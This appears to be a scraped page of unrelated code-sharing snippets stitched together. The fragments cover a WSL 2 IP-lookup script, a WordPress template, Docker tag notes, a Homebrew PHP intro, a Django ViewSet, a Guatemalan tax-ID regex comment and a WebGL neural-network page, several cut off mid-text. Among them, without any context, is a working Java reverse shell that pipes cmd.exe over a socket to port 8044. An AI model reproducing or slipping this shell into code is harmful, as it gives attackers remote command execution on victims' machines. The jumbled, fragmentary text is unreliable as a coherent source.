directions for getting windows 10 to work with virtualbox 5.2 based on this page
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$remoteport = bash.exe -c "ifconfig eth0 | grep 'inet '" | |
$found = $remoteport -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'; | |
if( $found ){ | |
$remoteport = $matches[0]; | |
} else{ | |
echo "The Script Exited, the ip address of WSL 2 cannot be found"; | |
exit; | |
} |
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<?php | |
/* ===== | |
Template Name: Custom Post Type Archive | |
===== */ | |
get_header(); |
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# 1. Backup image tags to text file. | |
# $ docker images --format "{{.Repository}}:{{.Tag}} {{.ID}}" > img_id.txt | |
# | |
# 2. Execute clean-docker-for-mac script | |
# $ bash clean-docker-for-mac.sh $(docker images --format "{{.ID}}" | xargs) | |
# | |
# source: https://gist.github.com/MrTrustor/e690ba75cefe844086f5e7da909b35ce#file-clean-docker-for-mac-sh | |
# | |
# 3. Execute this script to restore tags from text file. |
I posted several talks about compiling PHP from source, but everyone was trying to convince me that a package manager like Homebrew was a more convenient way to install.
The purpose of Homebrew is simple: a package manager for macOS that will allow you to set up and install common packages easily and allows you to update frequently using simple commands.
I used a clean installation of macOS Sierra to ensure all steps could be recorded and tested. In most cases you already have done work on your Mac, so chances are you can skip a few steps in this tutorial.
I’ve made this according to the installation instructions given on GetGrav.
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# ViewSets define the view behavior. | |
class FooViewSet(viewsets.ModelViewSet): | |
lookup_field = 'slug' | |
queryset = Foo.objects.all() | |
serializer_class = FooSerializer | |
def get_queryset(self): | |
""" | |
This view should return a list of all records | |
""" |
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/* | |
* These functions validate whether a string corresponds to a Guatemalan tax | |
* identification number, also known as 'Numero de Identificación | |
* Tributaria' (NIT). They employ regular expressions for this purpose, utilizing | |
* the metacharacter shorthand '\d' instead of '[0-9]' to save space. | |
* The approach is highly optimized for bandwidth reduction; readability and | |
* maintenance are not prioritized over optimization. You can observe how this | |
* regular expression works through the following links: | |
* - https://regex101.com/r/d5YFJE/1 | |
* - https://regexr.com/7ieic |
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String host="localhost"; | |
int port=8044; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
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php -a -d auto_prepend_file=./vendor/autoload.php |
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<!DOCTYPE html> | |
<html> | |
<pre id="page" style="font-family: monospace; white-space: pre-wrap;"> | |
<h3>A Sinus Activated Multi-Stochastic-Descending/Ascending (MSD/A) Feed Forward Artificial Neural Network (ANN) Computed by GPU via JavaScript and WebGL GLSL (GATO 2014)</h3>This web page attempts to outline an implementation for solving non-linearly-separable (NLS) classification and function approximation problems using a sinus activated feed forward neural network, trained via multi-stochastic-descension/ascension (MSD/A), and evaluated using the GPU via JavaScript and WebGL GLSL source code. | |
In order to overcome NLS using MSD/A, a sinus activation function: <b>sin(x)</b>, has been used in place of sigmoid: <b>1 / (1 + exp(-x))</b>, hyper-tangent: <b>htan(x)</b>, and/or averaging: <b>sum / count</b>, activation functions. | |
Although ANNs capable of overcoming NLS problems are said to be capable of entering any computationally complete state, actually finding and entering a specific state required to solve a real |
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